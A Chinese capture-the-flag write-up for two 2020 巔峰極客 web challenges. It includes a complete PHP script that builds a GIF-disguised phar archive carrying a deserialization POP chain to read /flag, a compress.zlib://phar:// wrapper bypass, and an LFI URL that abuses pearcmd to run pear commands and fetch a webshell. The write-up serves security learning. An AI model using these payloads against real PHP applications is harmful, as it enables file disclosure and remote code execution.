1. 程式人生 > 實用技巧 >巔峰極客2020

巔峰極客2020

2020巔峰極客部分WP

參考連結:https://www.gem-love.com/ctf/2634.html

主要不是題目的解答,看了穎奇大佬的文章,再根據自己在做題目的過程中記憶,對題目單純的進行理論上的復現,原理是一樣的

BabyPhp2

開啟題目

這裡提示已經很明顯了,這裡登陸不上的。

然後掃目錄,得到www.zip,原始碼洩漏,然後開啟原始碼,進行原始碼的分析

檔案讀取的漏洞,但是這個讀取方法裡面的有waf,魔術方法就需要製造呼叫,構建POP鏈。現在就是要找到這個鏈頭了。

有一個魔術方法之中有修改的內容,可以這裡是可以利用,接下來就是想辦法將 這個地方包含進來還要執行這條鏈。剩下的就是file_get_contents

這個函數了。利用偽協議將php檔案讀取進來,還要能夠執行。phar偽協議滿足要求。但是

已經被銷燬了。這裡提醒一下,偽協議是可以聯合使用的。

compress.zlib://phar://

這樣就可以繞過限制讀取檔案,再加上那個upload.php上傳的時候改一個名字,問題也就解決了。下面貼上大佬的指令碼。

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "y1ng.gif");

之後將gif上傳即可

這裡利用是否有序列化的資料出現判斷是否協議生效,這樣就可以調節檔案路徑到底是怎樣的。

phar反序列參考連結:https://paper.seebug.org/680/

MeowWorld

這道題有個Hint:register_argc_argv

然後這個題很容易看出漏洞是本地檔案包含,並且限制了包含的目錄,就別想逃出來了。

然後就是利用pear這個包管理器,下載我們自己的馬兒,然後,包含,來命令執行。

http://127.0.0.1:8080/index.php?f=/usr/share/pear/pearcmd&+list

這個就相當於在本地執行

pear list

這樣也就不難猜到提示詞的用意了。